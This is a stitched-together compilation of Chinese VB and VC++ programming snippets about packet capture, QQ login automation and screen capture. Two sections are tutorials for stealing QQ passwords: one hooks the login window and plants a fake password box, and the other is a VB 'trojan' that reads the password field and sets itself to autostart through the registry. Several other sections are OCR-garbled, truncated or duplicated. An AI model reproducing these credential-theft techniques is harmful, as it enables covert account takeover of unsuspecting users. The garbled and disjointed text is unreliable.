VB获取QQ截图
vb 抓包、截包、发包
目录第一章:截包知识,本章主要介绍用HttpWatch软件截取网络数据包的方法及技巧第二章:发包知识,本章主要介绍数据包的构成第三章:三大利器的使用,本章主要介绍vb使用xmlhttp对象、webbrowser控件、inet控件进行Post发包、Get发包的方法第一章本文要用到的截包工具是HttpWatch,其他软件使用方法都差不多这里不再阐述。
软件下载地址:/source/2688506<只要注册个CSDN号就能下载了没有积分要求的,下载后请注意压缩包内的httpwatch.lic为授权文件,安装完成后把httpwatch.lic复制到安装目录里面>安装完成后打开IE-工具-HttpWatch(IE6的直接能在主界面看到不用进工具里了),打开该软件,如图所示:点击右上角的,软件界面会分离出另外一个窗口我来介绍下按钮的功能, 平常用到的就3个按钮,代表开始截取、停止截取、清除截取的数据再来介绍下面的界面:平常用到的是Qverview、Content、Stream,Qverview的可以查看Post过去的详细目标地址,Content查看请求回来的返回值,Stream查看数据包信息!截取封包:在请求页面前按下按钮开始截取封包,请求完毕后按下按钮停止截取封包.想要清除截取的数据可以按下按钮.数据查看:选中的地址就是Post提交的目标地址Content查看返回的网页源码Stream查看数据内容,详细的数据结构将在下章介绍第二章先发一段数据,我们来分析它<登陆百度的包>POST /?login HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */* Referer: https:///?login&tpl=mnAccept-Language: zh-cnContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 663; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)Host: Content-Length: 236Connection: Keep-AliveCache-Control: no-cacheCookie:tpl_ok=&next_target=&tpl=mn&skip_ok=&aid=&need_pay=&need_coin=& pay_method=&u=http%3A%2F%%2F&return_method=get&more _param=&return_type=&psp_tt=0&password=123465&safeflg=0&username=sunshi nebean&verifycode=&mem_pass=on关于Http头的构成我不阐述,详见:/absky_cxb/blog/item/f28065017032760a738da5cb.html这里主要讲Post包的构成及比较重要的Http头参数1.Http头里的Referer参数,简单的说就是来路,然后目标服务器能知道你这个Http请求是哪个页面请求过去的,有些服务器就是判断来路的所以这个参数比较重要2.Http头里的Content-Type参数,提交的是网页信息可以是application/x-www-form-urlencoded,假如提交图片信息这个参数也会随之变成data3.Post的包参数全部用&符号隔开的,=号后面的是参数的值。
截取QQ密码(VC++)学习消息VC++的好处
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = ::CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 );
if ( hProcessSnap == INVALID_HANDLE_VALUE )
return FALSE;
BOOL bMore = ::Process32First(hProcessSnap,&pe32);
while ( bMore )
{
hProcess = OpenProcess(PROCESS_ALL_Access,FALSE,pe32.th32ProcessID);
截取QQ密码(VC++)学习消息VC++的好处
三星Bada开发者聚会报名中 要截获QQ密码,大家一定想到键盘钩子,2006版以前的QQ用这种方法的确可以截获到QQ密码,我也曾经用这种方法将我女朋友的QQ密码给弄过来了,~~,但2007版以后的QQ在密码输入框里做了大量的手脚,即使用spy++也无法截取到任何消息,键盘钩子也失效了。我们总是幸运的,QQ登录窗口的消息还是可以获取到,既然钩子不能用了,那我们何不换种思维方式走走捷径呢?修改登录窗口的回调函数地址,截取其所有消息,并创建一个虚假的密码输入框来到达截取密码的目的,就好比在复写纸上写字,字迹会留下痕迹。
}
::CloseHandle(hProcessSnap);
return TRUE;
}
从枚举出的所有进程中找到QQ进程,如下代码:
//
// 枚举出 “QQ.exe”的进程
//
int EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=cessPath ) pStrAry_ProcessPath->Add ( GetProcessPath(pe32.th32ProcessID) );
用VB语言做QQ监视软件
用VB语言做QQ监视软件我在网上看到了一篇有关VB写QQ木马的,不错的例子,发出来给大家看下,学习,提高!看下:先说说盗QQ的几种方法:1.穷举法穷举法可以说是最简单有效的方法了.也就是我们通常说的暴力破解.但缺点是用时久速度慢,而且腾迅为了避免乱用暴力,推出了第二代QQ使用字符验证登陆QQ...所以这种方法也随之过时了...本人也不做过多的诠释...2.直接读取密码文件现在QQ的加密越来越强,要用这种方法可以花上不少的功夫,而且在网吧上网的人,都有离开时,删除自己QQ号目录的习惯,因此有时这种方法根本无能为力。
3.监视法就是被众人称为的"木马".也是现在网上最流行的一种盗号方法.通过窗口函数取得密码的方法(适用任何版本的QQ)原理和木马代码我会详细解说.以下是用VB编写的一个列子:设计思路我们知道QQ的密码框并没有进行特别的处理,也就是说用可以通过SendMessage 发送WM_GETTEXT 取得密码框中的值,我们可以利用这一点来完成密码的截取,具体请看下面:使用Timer 控件,监视QQ。
用遍查窗口的方法(EnumWindows),取得所有的窗口标题(GetWindowText),判断其中是否为"QQ用户登录"的标题,取得QQ登录窗口的子窗口(窗口上的控件)的类名(GetClassName),然后通过ComboBox、Edit 取得用户名和密码(通过SendMessage 发送WM_GETTEXT 取得值)。
由于不能判断外部按键事件的发生,只有通过不断的取得密码值,具体方法如下:首先取得用户名的值,然后不停的取密码的值,再判断窗口的标题是否为用户名,如果为用户名,则最后一次密码的值就是真正的密码,到此程序完成。
程序编制(1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。
声明变量、过程及API 函数,写在Module1.bas 文件中Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_A TTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long '创建一个新的文件映射对象Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '关闭一个内核对象Type SECURITY_A TTRIBUTESnLength As LonglpSecurityDescriptor As LongbInheritHandle As LongEnd TypeConst PAGE_READWRITE = 1Const ERROR_ALREADY_EXISTS = 183&建立判断程序是否多启动的过程Sub Main()Dim ynRun As LongDim sa As SECURITY_A TTRIBUTESsa.bInheritHandle = 1sa.lpSecurityDescriptor = 0sa.nLength = Len(sa)ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件If (stDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出CloseHandle ynRun '退出程序前关闭内存映射文件EndEnd IfEnd Sub(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法声明变量、过程及API 函数,写在Module1.bas 文件中Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的项下创建一个新项。
移植QQ的截图功能
移植QQ的截图功能QQ的截屏功能十分方便,也很实用,不过却只能在打开QQ后才能使用。
在没有打开QQ时想用该怎么办呢?其实没有QQ也可以使用它的截图功能,掌握下面这些小技巧,难题也就解决了。
与QQ的截图功能有关的就是一个文件“CameraDll.dll”,用系统的文件“Rundll32.exe”来调用它就可以激活截图功能了。
CameraDll.dll文件位于QQ的安装目录下,将它复制到“C:\WINDOWS\system32”中,然后在运行对话框中输入“Rundll32.exe CameraDll.dll,CameraSubArea”,按回车后就可以看到熟悉的QQ截图界面了。
当然,如果每次都输人命令来启动截图功能的话,非常麻烦,为它建立一个快捷方式就好了。
在桌面空白处点击鼠标右键,选择“新建/快捷方式”,在弹出的对话框中输入“Rundll32.exeCameraDll.dll,CameraSubArea”,点击“下一步”,再为快捷方式命名为“截图”,点击完成即可。
以后双击这个快捷方式就能激活截图了。
还有更简便的方法:QQ默认的截图键是“Ctrl+Alt+A”,移植截图功能后同样可以沿用这个快捷键。
在刚刚新键的快捷方式上点右键,选择“属性”,把光标定位到快捷键的位置,然后按下“Ctrl+Alt+A”,点击“确定”关闭对话框,现在就可以使用快捷键来激活QQ截图了。
用暴风影音直接进入剧情李国良笔者喜欢看电视连续剧,但几乎每部连续剧在播放时都会播放片头和片尾,每次都拖进度条麻烦,不拖吧又浪费时间。
《电脑迷》曾经介绍过在KMPlayer中让播放器自动跳过片头的方法,但笔者却钟爱暴风影音。
现在暴风影音升级到了2.9版本,也拥有了类似的功能,令笔者欣喜不已。
将同一部连续剧放在一个文件夹中,并按顺序打开暴风影音开始播放连续剧,记住片头结束的时间,再拖动进度条到片尾开始的地方,记下时间,与总片长的时间相减,得到片尾占用的时间。
VB登录QQ,VB发QQ消息,VBQQ留言
Option Explicit'VB登录QQ'VB给QQ好友发QQ消息'VB给QQ好友留言''作者:来水美树QQ:659354953‘希望对新手有所帮助Private Declare Function OleLoadPicturePath Lib "oleaut32.dll" (ByVal szURLorPath As Long, ByVal punkCaller As Long, ByVal dwReserved As Long, ByVal clrReserved As OLE_COLOR, ByRef riid As TGUID, ByRef ppvRet As IPicture) As LongPrivate Type TGUIDData1 As LongData2 As IntegerData3 As IntegerData4(0 To 7) As ByteEnd TypePrivate Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpMultiByteStr As Long, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As LongPrivate Const CP_UTF8 = 65001Public InetCode As String '存储一项请求后的反回数据'Public uSid As String '存储登录后的SIDPublic GetQQNum As String '存储QQ号码,包括好友列表Public GetQQName As String '存储QQ网名,包括好友列表Public GetQQImage As String '存储QQ头像,包括好友列表Public Function UTF8Encode(ByVal szInput As String) As String 'UTF_8 Dim wch As StringDim uch As StringDim szRet As StringDim X As LongDim inputLen As LongDim nAsc As LongDim nAsc2 As LongDim nAsc3 As LongIf szInput = "" ThenUTF8Encode = szInputExit FunctionEnd IfinputLen = Len(szInput)For X = 1 To inputLenwch = Mid(szInput, X, 1)nAsc = AscW(wch)If nAsc < 0 Then nAsc = nAsc + 65536If (nAsc And &HFF80) = 0 ThenszRet = szRet & wchElseIf (nAsc And &HF000) = 0 Thenuch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)szRet = szRet & uchElseuch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _Hex(nAsc And &H3F Or &H80)szRet = szRet & uchEnd IfEnd IfNextUTF8Encode = szRetEnd FunctionFunction Utf8ToUnicode(ByRef Utf() As Byte) As StringDim lRet As LongDim lLength As LongDim lBufferSize As LonglLength = UBound(Utf) - LBound(Utf) + 1If lLength <= 0 Then Exit FunctionlBufferSize = lLength * 2Utf8ToUnicode = String$(lBufferSize, Chr(0))lRet = MultiByteToWideChar(CP_UTF8, 0, VarPtr(Utf(0)), lLength, StrPtr(Utf8ToUnicode), lBufferSize)If lRet <> 0 ThenUtf8ToUnicode = Left(Utf8ToUnicode, lRet)ElseUtf8ToUnicode = ""End IfEnd Function'登录QQPublic Function LoadingQQ(ByVal QQnum As String, ByVal QQpasw As String) As Boolean Dim URL As StringURL = "/psw3gqqLogin?r=753216094&vdata=149D3E01CBAA7BAB47F5EEC1B49 D748F"Dim UA As StringUA = "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"Form1.Inet1.Execute URL, "POST", "qq=" & QQnum & "&pwd=" & QQpasw & "&bid_code=3GQQ&toQQchat=true&login_url=http%3A%2F%%2Fs%3Faid%3 DnLoginnew%26q_from%3D3GQQ&q_from=&modifySKey=0&loginType=1&aid=nLoginHand le&i_p_w=qq%7Cpwd%7C", UA & vbCrLf & "Content-Type: application/x-www-form-urlencoded"Do While Form1.Inet1.StillExecutingDoEventsLoopDim b() As ByteDim nDim St As Stringb = Form1.Inet1.GetChunk(0, icByteArray)InetCode = Utf8ToUnicode(b)n = Split(InetCode, "在线好友")If UBound(n) > 0 ThenLoadingQQ = TrueuSid = Mid(InetCode, InStr(InetCode, "sid") + 4, 24)St = Mid(InetCode, 9884, 200)GetQQImage = Mid(St, InStr(St, "src=") + 5, InStr(St, "border") - InStr(St, "src=") - 7) ' + Len("border"))GetQQName = Mid(St, InStr(St, "/></a>") + 6, (InStr(St, "<a href") - 6) - (InStr(St, "/></a>") + 5))ElseLoadingQQ = FalseEnd IfEnd Function'发留言Public Function LeaveMessage(ByVal SID As String, ByVal NumQQ As String, ByVal Msg As String) As BooleanDim URL As StringDim Method As StringDim UstrAgent As StringURL = "//mmsgb/add_msg.jsp?entry=blog&sid="Method = "POST"UstrAgent = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1Version/4.0 Mobile/7A341 Safari/528.16Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*"Inet1.Execute URL & SID, Method, "&reqmed=post&msg=" & UTF8Encode(Msg) _& "&sign=0&B_UID=" & NumQQ, UstrAgent & vbCrLf & "Content-Type:application/x-www-form-urlencoded"Do While Inet1.StillExecutingDoEventsLoopDim b() As ByteDim nb = Form1.Inet1.GetChunk(0, icByteArray)InetCode = Utf8ToUnicode(b)n = Split(InetCode, "表情")If UBound(n) > 0 ThenLeaveMessage = TrueElseLeaveMessage = FalseEnd IfEnd SubPublic Function loadQQhaoyou()Dim bDim cDim i As LongDim Temp As StringGetQQNum = GetTxt(InetCode, "u=", 2, "&", 2, 2)Temp = GetTxt(InetCode, "搜好友", 8, "回顶部", 3, 1)GetQQName = GetTxt(Temp, "name", Len("name") + 3, "</span>", 7, 2)GetQQImage = GetTxt(Temp, "<img", Len("<img") + 6, "alt", 12, 2)Dim ImgImg = Split(GetQQImage, vbCrLf)For i = 2 To UBound(Img) - 1Form2.ImageList1.ListImages.Add , , LoadPicture(Img(i))Next ib = Split(GetQQNum, vbCrLf)c = Split(GetQQName, vbCrLf)Form2.ListView1.SmallIcons = Form2.ImageList1For i = 1 To UBound(b) - 1Set na = Form2.ListView1.ListItems.Add(, , b(i))na.SubItems(1) = c(i)na.SmallIcon = iNext iEnd Function'发消息Public Function SendMsg(ByVal SID As String, ByVal QQnum As String, ByVal Text As String) As BooleanDim u As StringDim a As Stringu = "/g/s?sid="a = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"Form3.Inet1.Execute u & SID, _"POST", "msg=" & UTF8Encode(Text) & "&u=" & QQnum & "&saveURL=0&do=send&on=1&saveURL=0&aid=%E5%8F%91%E9%80%81&num=" & QQnum & "&do=sendsms", a & vbCrLf & "Content-Type: application/x-www-form-urlencoded" Do While Form3.Inet1.StillExecutingDoEventsLoopDim b() As ByteDim nb = Form3.Inet1.GetChunk(0, icByteArray)InetCode = Utf8ToUnicode(b)n = Split(InetCode, "发送消息")If UBound(n) > 0 ThenSendMsg = TrueElseSendMsg = FalseEnd IfEnd FunctionPublic Function GetTxt(ByVal lpStr As String, _ByVal lpStrStart As String, _ByVal lpStrtartLegth As Long, _ByVal lpStrEnd As String, _ByVal lpStrEndLength As Long, _ByVal n As Integer) As StringDim s1 As LongDim s2 As LongDim s3 As LongDim str1 As StringSelect Case nCase 1s1 = InStr(lpStr, lpStrStart)str1 = Mid(lpStr, s1, Len(lpStr) - s1 + Len(lpStrStart))s1 = InStr(str1, lpStrStart) + Len(lpStrStart)s2 = InStr(1, str1, lpStrEnd) - 1s3 = (s2 - s1 - lpStrEndLength)If s3 <= 0 Thens3 = 1GetTxt = Mid(str1, s1 + lpStrtartLegth, s3)ElseGetTxt = Mid(str1, s1 + lpStrtartLegth, s3)End IfCase 2s1 = InStr(lpStr, lpStrStart) - 1Do Until s1 = 1s1 = InStr(s1 + 1, lpStr, lpStrStart)s2 = InStr(s1 + 1, lpStr, lpStrEnd)If s1 = 0 Then Exit DoIf s2 = 0 Then Exit DoGetTxt = GetTxt & Mid(lpStr, s1 + lpStrtartLegth, s2 - s1 - lpStrEndLength) & vbCrLfLoopEnd SelectEnd Function'加载图片函数Public Function LoadPicture(ByVal strFileName As String) As PictureDim IID As TGUIDWith IID.Data1 = &H7BF80980.Data2 = &HBF32.Data3 = &H101A.Data4(0) = &H8B.Data4(1) = &HBB.Data4(2) = &H0.Data4(3) = &HAA.Data4(4) = &H0.Data4(5) = &H30.Data4(6) = &HC.Data4(7) = &HABDoEventsEnd WithOn Error GoTo LocalErrOleLoadPicturePath StrPtr(strFileName), 0&, 0&, 0&, IID, LoadPicture Exit FunctionLocalErr:Set LoadPicture = VB.LoadPicture(strFileName)Err.ClearEnd Function。
VB6.0中存取数据库中图片的方法
阶№妯^“虹‰k()
0n
Error
从“命令类型”下拉列表中选取“2一adcmdr圳e”选项,接着从“表
或存储过程名称”下拉列表中选取数据表“存取相片”。
④双击工具箱中的口(PichlMBox),则在表单窗体中出现Pic- tu陀控件,将该控件命名为PictuMl,PictIlrel的Datnsour∞属性设
本文链接:/Periodical_dnkfyyy200207026.aspx
0;P啪istSecIld竹in如=Fal能;
Dahs0IIm“^doder’
na曲eId=“相片”
1数据库的创建
数据库采用微软的Acce8s97,首先新建一张表.取名为“存取 相片”,潦加三个字段,分别是:姓名,文本型;编号,文本型;相片, OIE对象。设计好之后存盘命名为Piclure
mdb。 souIce^s sllb
SH代Pictm卅川0de
EⅡdIf
EndWith
End sIlb
3解决的方法 新增一个“通用模块”(方法是选取vB菜单的“工程-+添加模
块”),然后在该模块中输入以下程序代码:
Addpic—chck事件程序利用“载人图片”对话框来选取图象文 件,并且将新的图片写入到数据库中。
以上代码在vB6.0/windows98/w‰NT环境中已调试通
co衄衄Di出og控件,将该控件命名为com脚nDial嘴1。co衄on_
Dialog控件的用途是选取图象文件。 表单窗体中各控件的名称和有关属性如表1所示,控件的其 它属性取默认值或自行设定,表单窗体的菜单也可以根据需要自 行设置。
Pictu托=【mdPicm陀(.FileN蛐e) Adodel.Recm硼5m..FikN唧c
vb qq
实验四QQ登录应用程序
Combo1中选择收入标准,Text1中显示相应的税率;组合框中的数据项可在属
图1 QQ登录界面图2 QQ好友展示界面图3 好友聊天界面
登录界面好友展示界面个人资料聊天界面
作品功能介绍:
1.qq登陆界面功能,QQ图片展示QQ账号密码输入,密码字符为*登录按钮,检测账号密码正确进入好友展示界面。
具备查杀木马功能(可选如果账号输入有误,给出msgbox消息框。
7. 添加combo 控件,实现登录状态(在线、隐身、离开)选择,使用public变量实现好友状态显示
自己的在线状态颜色随机变幻;换肤功能,单击“换肤”,窗体背景色变换颜色;
QQ聊天界面分组显示成员头像;单击个人头像显示个人资料;
个人资料功能,显示跟人资料;计算工资所得税;你到已经快乐生活了多少天,其中学习用了多少小时,睡觉用了多少小时;
聊天窗口功能,复制,粘贴,剪切。
发送消息;改变字体颜色;。
用VB6屏幕截图
用VB6.0实现,本人vb比较菜,所以最好是完整代码,也希望能附上注释,在这里多谢了~问题补充:借助外部工具比较简单,我想用代码实现,希望高手帮一下,非常感谢!!辛语辛辰,savepicture可以保存图片,不过我想保存时主窗体中的一部分,并且上面可能有控件,不知道还有什么方法吗?最佳答案Dim t As BooleanDim f As BooleanPrivate Sub Form_Load()Pic.Height = 100Pic.Width = 100Pic.AutoRedraw = TrueEnd SubPrivate Sub Pic0_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)If t = False ThenPic.Left = XPic.Top = YEnd IfIf Button = 1 And f = False Thent = TruePic.Width = X - Pic.LeftPic.Height = Y - Pic.TopPic.PaintPicture Pic0.Picture, 0, 0, , , Pic.Left, Pic.Top, Pic.Width, Pic.Height End IfEnd SubPrivate Sub Pic0_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)If Button = 1 Then f = TruePic2.Picture = Pic.ImageIf Button = 2 Thent = Falsef = FalsePic.Width = 100Pic.Height = 100End IfEnd Sub注释不用了吧,用SavePicture 语句保存图片说详细点,它截取的是背景vb 屏幕区域截图悬赏分:0 |解决时间:2008-3-8 19:24 |提问者:開始習慣孤單例如我要截下屏幕上728,292,766,305处的图并保存,怎样写代码代码越短越好最佳答案Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As LongPrivate Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Const Srccopy = &HCC0020Private Sub Picture1_Click()StretchBlt Picture1.hdc, 0, 0, 766 - 728, 305 - 292, GetDC(0), 728, 292, 766 - 728, 305 - 292,Srccopy'自己写保存图片的过程吧~End SubPictureBox的ScaleMode要设置为pixel.你试试这个行不~PS 这个问题我好像见过?_?通过VB的BitBlt API来实现窗口局部区域截图悬赏分:150 |解决时间:2010-10-21 22:52 |提问者:诚信欢迎你我想将这个代码写成一个函数形式,保存为DLL文件自己用SavePicture方法可以保存图片但是,保存为DLL的时候报错说未定义什么我想各位帮忙想想通过什么方法能保存为图片问题补充:此问题通过交换方法已经解决了,3楼给的方法就是我说的那方法不过用到了插件故无法生成DLL吧,不过还是非常感谢最佳答案这个问题我以前也弄过,后来卡在你这个问题同样的地方没弄下去,现在看到你的问题,很有感触,准备再弄一下看看,没想到成功了哈,下面是代码,实现了后台截图并且保存,可以用到一些游戏脚本里面哈。
基于VB的QQ聊天
随着现代社会的不断进步,信息传递和信息交流越来越受到人们的重视。
在古代,通过飞鸽传书,通过烽火报警,通过快马传递上级命令等到近代的电报可快速明确的传递信息,在到当代使用电话,email,电脑,传真等,其中在国内人们比较喜欢用的聊天工具就是QQ聊天工具,它可以在网上实施即时通信,传输文件和图片并且进行语音或者视频聊天等等,方便人们进行情感交流、业务洽谈、多方会议,可以足不出户就能达到自己的目的。
既然QQ 工具有这么多好处,那么它是怎么实现的呢?本设计的目的就是在Vb 编程平台上,使用Winsock控件实现客户端与服务器端的通信。
由于受技术和知识的限制本设计仅能实现基本的单人聊天和多人聊天及添加好友功能。
关键词:VB6.0,Q Q聊天系统,W in so ck第一章设计的概述 (1)1.1 设计的目的 (1)1.2 设计的意义 (1)第二章系统的设计 (2)2.1 模块设计 (2)2.2 开发环境 (3)2.3 系统的整体流程 (3)2.4 数据库设计 (3)第三章winsock基础 (5)3.1 Winsock 控件基础 (5)3.2 Winsock 控件的属性 (6)3.3 Winsock 控件的方法 (7)3.4 Winsock 控件事件 (8)第四章CtListBar和TUOPAN控件 (10)4.1 Ctlistbar和TUOPAN控件的使用 (10)4.2 CtListBar的方法 (10)4.3 CtListBar的属性 (10)4.4 TUOPAN控件的介绍 (11)第五章程序设置 (12)5.1 用户的登陆 (12)5.2 注册 (17)5.3添加好友 (19)5.4单人聊天 (21)5.5多人聊天 (23)第六章系统的调试与运行 (26)6.1 系统的调试 (26)6.2 系统的运行 (27)第七章课题设计总结与工作展望 (32)7.1 课题设计总结 (32)7.2 工作展望 (32)参考文献...................................................................................... 错误!未定义书签。
用VB6屏幕截图
用VB6.0实现,本人vb比较菜,所以最好是完整代码,也希望能附上注释,在这里多谢了~问题补充:借助外部工具比较简单,我想用代码实现,希望高手帮一下,非常感谢!!辛语辛辰,savepicture可以保存图片,不过我想保存时主窗体中的一部分,并且上面可能有控件,不知道还有什么方法吗?最佳答案Dim t As BooleanDim f As BooleanPrivate Sub Form_Load()Pic.Height = 100Pic.Width = 100Pic.AutoRedraw = TrueEnd SubPrivate Sub Pic0_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)If t = False ThenPic.Left = XPic.Top = YEnd IfIf Button = 1 And f = False Thent = TruePic.Width = X - Pic.LeftPic.Height = Y - Pic.TopPic.PaintPicture Pic0.Picture, 0, 0, , , Pic.Left, Pic.Top, Pic.Width, Pic.Height End IfEnd SubPrivate Sub Pic0_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)If Button = 1 Then f = TruePic2.Picture = Pic.ImageIf Button = 2 Thent = Falsef = FalsePic.Width = 100Pic.Height = 100End IfEnd Sub注释不用了吧,用SavePicture 语句保存图片说详细点,它截取的是背景vb 屏幕区域截图悬赏分:0 |解决时间:2008-3-8 19:24 |提问者:開始習慣孤單例如我要截下屏幕上728,292,766,305处的图并保存,怎样写代码代码越短越好最佳答案Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As LongPrivate Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Const Srccopy = &HCC0020Private Sub Picture1_Click()StretchBlt Picture1.hdc, 0, 0, 766 - 728, 305 - 292, GetDC(0), 728, 292, 766 - 728, 305 - 292,Srccopy'自己写保存图片的过程吧~End SubPictureBox的ScaleMode要设置为pixel.你试试这个行不~PS 这个问题我好像见过?_?通过VB的BitBlt API来实现窗口局部区域截图悬赏分:150 |解决时间:2010-10-21 22:52 |提问者:诚信欢迎你我想将这个代码写成一个函数形式,保存为DLL文件自己用SavePicture方法可以保存图片但是,保存为DLL的时候报错说未定义什么我想各位帮忙想想通过什么方法能保存为图片问题补充:此问题通过交换方法已经解决了,3楼给的方法就是我说的那方法不过用到了插件故无法生成DLL吧,不过还是非常感谢最佳答案这个问题我以前也弄过,后来卡在你这个问题同样的地方没弄下去,现在看到你的问题,很有感触,准备再弄一下看看,没想到成功了哈,下面是代码,实现了后台截图并且保存,可以用到一些游戏脚本里面哈。
VB6.0 截图并且压缩图片
'初始化解码器的GUID标识
CLSIDFromString StrPtr("{557CF401-1A04-11D3-9A73-0000F81EF32E}"), tJpgEncoder
'设置解码器参数
Private Declare Function GdipSaveImageToFile Lib "GDIPlus" (ByVal Image As Long, ByVal filename As Long, clsidEncoder As GUID, encoderParams As Any) As Long
Dim CurPos As POINTAPI
Dim Cur As Long
pic.Width = Screen.Width
pic.Height = Screen.Height
hdc = GetDC(0)
StretchBlt pic.hdc, 0, 0, Screen.Width, Screen.Height, hdc, 0, 0, Screen.Width, Screen.Height, Srccopy
DebugEventCallback As Long
SuppressBackgroundThread As Long
SuppressExternalCodecs As Long
End Type
Private Type EncoderParameter
GUID As GUID
NumberOfValues As Long
type As Long
Value As Long
利用VB捕捉并保存屏幕图像
利用VB捕捉并保存屏幕图像大家知道在VB下利用API函数Bitblt可以将屏幕或者窗口上的图象拷贝到VB 中的PictureBox对象中,但是如果简单的利用PictureBox的SavePicture函数来保存图象,会发现什么也保存不了。
这篇文章就是介绍如何捕获并利用Windows下的OLE API函数保存图象。
首先来看源程序,首先建立一个新的工程文件,然后在Form1中加入5个CommandButton对象和一个PictureBox对象,然后在Form1中加入以下代码:Option ExplicitOption Base 0Private Type PALETTEENTRYpeRed As BytepeGreen As BytepeBlue As BytepeFlags As ByteEnd TypePrivate Type LOGPALETTEpalVersion As IntegerpalNumEntries As IntegerpalPalEntry(255) As PALETTEENTRYEnd TypePrivate Type GUIDData1 As LongData2 As IntegerData3 As IntegerData4(7) As ByteEnd TypePrivate Const RASTERCAPS As Long = 38Private Const RC_PALETTE As Long = &H100Private Const SIZEPALETTE As Long = 104Private Type RECTLeft As LongTop As LongRight As LongBottom As LongEnd TypePrivate Declare Function CreateCompatibleDC Lib "GDI32" (ByVal hDC As Long) As LongPrivate Declare Function CreateCompatibleBitmap Lib "GDI32" (ByVal hDC As Long, _ByVal nWidth As Long, ByVal nHeight As Long) As LongPrivate Declare Function GetDeviceCaps Lib "GDI32" (ByVal hDC As Long, ByVal _iCapabilitiy As Long) As LongPrivate Declare Function GetSystemPaletteEntries Lib "GDI32" (ByVal hDC As Long, _ByVal wStartIndex As Long, ByVal wNumEntries As Long, lpPaletteEntries _As PALETTEENTRY) As LongPrivate Declare Function CreatePalette Lib "GDI32" (lpLogPalette As LOGPALETTE) _As LongPrivate Declare Function SelectObject Lib "GDI32" (ByVal hDC As Long, ByVal hObject _As Long) As LongPrivate Declare Function BitBlt Lib "GDI32" (ByVal hDCDest As Long, ByVal XDest As _Long, ByVal YDest As Long, ByVal nWidth As Long, ByVal nHeight As Long, _ByVal hDCSrc As Long, ByVal XSrc As Long, ByVal YSrc As Long, ByVal dwRop _As Long) As LongPrivate Declare Function DeleteDC Lib "GDI32" (ByVal hDC As Long) As Long Private Declare Function GetForegroundWindow Lib "USER32" () As Long Private Declare Function SelectPalette Lib "GDI32" (ByVal hDC As Long, ByVal hPalette _As Long, ByVal bForceBackground As Long) As LongPrivate Declare Function RealizePalette Lib "GDI32" (ByVal hDC As Long) As LongPrivate Declare Function GetWindowDC Lib "USER32" (ByVal hWnd As Long) As LongPrivate Declare Function GetDC Lib "USER32" (ByVal hWnd As Long) As Long Private Declare Function GetWindowRect Lib "USER32" (ByVal hWnd As Long, lpRect As _RECT) As LongPrivate Declare Function ReleaseDC Lib "USER32" (ByVal hWnd As Long, ByVal hDC As _Long) As LongPrivate Declare Function GetDesktopWindow Lib "USER32" () As LongPrivate Type PicBmpSize As LongType As LonghBmp As LonghPal As LongReserved As LongEnd TypePrivate Declare Function OleCreatePictureIndirect Lib "olepro32.dll" (PicDesc As _PicBmp, RefIID As GUID, ByVal fPictureOwnsHandle As Long, IPic As IPicture) As Long'捕捉整个屏幕Private Sub Command1_Click()Set Picture1.Picture = CaptureScreen()End Sub'在两秒钟后捕捉当前的活动窗口Private Sub 